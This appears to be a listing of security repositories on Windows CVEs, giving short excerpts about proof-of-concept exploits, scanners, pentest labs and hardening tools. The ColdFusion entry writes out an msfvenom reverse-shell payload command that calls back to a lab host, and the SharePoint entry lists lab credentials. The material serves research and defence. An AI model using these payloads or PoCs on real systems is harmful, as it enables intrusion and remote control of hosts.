CVE-2021-1732

CVE-2021-1732 CVE-2021-1732 Microsoft Windows 10 Local Privilege Elevation Vulnerability Research and Poc/Exploit Development Affected Systems and Application Versions Windows Server, version 20H2 Server Core Installation Windows 10 Version 20H2 for ARM64-based Systems Windows 10 Version 20H2 for...

RDGScanner

Scanner for CVE-2020-0609 & CVE-2020-0610 A proof-of-concept scanner to check an RDP Gateway Server for vulnerabilities CVE-2020-0609 & CVE-2020-0610. Tested on: Windows Server 2012 x64 Windows Server 2016 x64 Windows Server 2019 x64 Disclaimer Scanning for memory corruption vulnerabilities is...

CVE-2021-34527

CVE-2021-34527 CVE-2021-34527 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare." Proof-of-concept exploits have been released Python, C++ for the remote code execution capability, and a C rendition for local privilege escalation. I had not se...

CVE-2023-26360-RCE

CVE-2023-26360 - Remote Code Execution on ColdFusion 2021 Sometimes, the scripts don't work at first attempt. Try a few times to make it work How to execute Create a payload with msfvenom msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java Starting server.py This server will...

CVE-2020-1350

CVE-2020-1350 CVE-2020-1350 Proof-of-Concept Environment Setup 1. Download Windows Server 2016 2. Download a Linux box a secondary box to run this script 3. Install Active Directory/DNS on Windows Server 2016 let's say you named your legitimate domain 33y0re.com 4. Have NO DNS records on the...

CVE-2026-50369

CVE-2026-50369 reproducer for a TOCTOU race condition in rdpcorets.dll!CRdpPipeGfxPlugin::Enable on Windows Server 2025 RDS Session Hosts. i reported this as a DoS; the code-path seem to somehow also enable EoP. this reproducer is a PoC for the DoS path alone. Bug Enable reads a COM interface...

cve-2023-29357-Sharepoint

CVE 2023 29357 Information SharePoint Target Windows Server 2016 with SharePoint 2019 Login : FSI\Administrateur Password : Admin123! IP : 192.168.56.4 Hostname : WIN-HEVUJ4GJMA6 Attacker Lubuntu Version 22.04.3 Login : fsi Password : Admin123! IP : 192.168.56.3 Setting up the test environment...

DanderSpritz_lab

DanderSpritz Lab Purpose The goal of DanderSpritz lab is to allow researchers and defenders to quickly stand up a fully functional version of DanderSpritz - The Equation Group's Post exploitation tool-set and a Windows Server 2008 Domain and client as targets. The Windows target have some reverse...

CVE-2026-75604-poc

CVE-2026-75604 RCE PoC Python proof of concept for CVE-2026-75604, an unauthenticated remote command execution vulnerability in Windows-hosted Next.js applications that use both the Pages Router and App Router without Cache Components. Demonstration Requirements Next.js =13.4 =16.0 16.3.3 Native...

Simulating-and-preventing-Zerologon-CVE-2020-1472-vulnerability-attacks.

Simulating-and-preventing-Zerologon-CVE-2020-1472-vulnerability-attacks. Simulation of the Zerologon CVE-2020-1472 vulnerability attack in Active Directory on Windows Server 2016 and the use of the Trend Micro Deep Security solution to prevent such attacks. The Zerologon vulnerability is a weakne...

badsuccessor

BadSuccessor.py A penetration testing tool that exploits the dMSA delegated Managed Service Account privilege escalation vulnerability in Windows Server 2025 Active Directory environments. Legal Disclaimer This tool is for authorized penetration testing and security research only. Using it agains...

CVE-2019-1253

CVE-2019-1253 Original Poc sent to MSRC. This issue has been fixed with September 2019 "Tuesday" regular update. Assigned to CVE-2019-1253 - Windows Elevation of Privilege Vulnerability. https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1253 There are two PoCs: the one...

CVE-2025-50154

NTLM/SMB Hardening & Threat Hunt Toolkit Author: w01f Version: 1.0 Purpose: Audit, harden, and hunt for insecure NTLM/SMB usage to mitigate risks such as CVE-2025-50154. CVE-2025-50154 Overview Severity: High Type: NTLM Credential Leak + Patch Bypass Zero-Click Affected: Windows 10/11, Windows...

Active-Directory-Health-Check

🛡️ Active Directory Health Check v2.15.3 🇩🇪 Deutsch | 🇬🇧 English Ein umfassendes PowerShell-Skript zur automatisierten Überprüfung der Gesundheit und Sicherheit einer Active Directory-Umgebung. Mit Best-Practice-Bewertung, farbcodiertem HTML-Report und CSV-Export. DE: Auswahlfenster der GUI:...

CVE-2020-0796

CVE-2020-0796 SMBv3 RCE vulnerability in SMBv3 Windows 10 is vulnerable Windows 2008 Not vulnerable Detection Script...

CVE-2020-1472-LAB

ZeroLogon testing script A lab setup to test a vulnerability for the ZeroLogon exploit CVE-2020-1472. It contains a Python script that uses the Impacket library to test the vulnerability, and a Virtual Machine VM with Windows Server 2019 configured as a Domain Controller DC. The script attempts t...

GOAD

GOAD v3 🔖 Documentation : https://orange-cyberdefense.github.io/GOAD/ Description GOAD is a pentest active directory LAB project. The purpose of this lab is to give pentesters a vulnerable Active directory environment ready to use to practice usual attack techniques. !CAUTION This lab is extremel...

CertificateDsc

CertificateDsc Code of Conduct This project has adopted this code of conduct. Releases For each merge to the branch main a preview release will be deployed to PowerShell Gallery. Periodically a release version tag will be pushed which will deploy a full release to PowerShell Gallery. Contributing...

cve-2017-7269

fixed msf module for cve-2017-7269 fix not work when length of physical path not equal to 19,or has a host binding. add options: PhysicalPathLength,HttpHost for test: host phyiscal path: c:\inetpub\ , length=11 msf use exploit/windows/iis/cve-2017-7269 msf exploitcve-2017-7269 show options Module...

CVE-2024-49113

CVE-2024-49113 — Windows LDAP DoS Vulnerability PoC Author: SafeBreach Status: Patched Microsoft, December 2024 Patch Tuesday CVSSv3 Score: 7.5 High Bypass Windows Server and commercial EDR Author: Tim Shing Status: Unpatched CVSSv3 Score: 7.4 High ⚠️ Disclaimer This repository is for educational...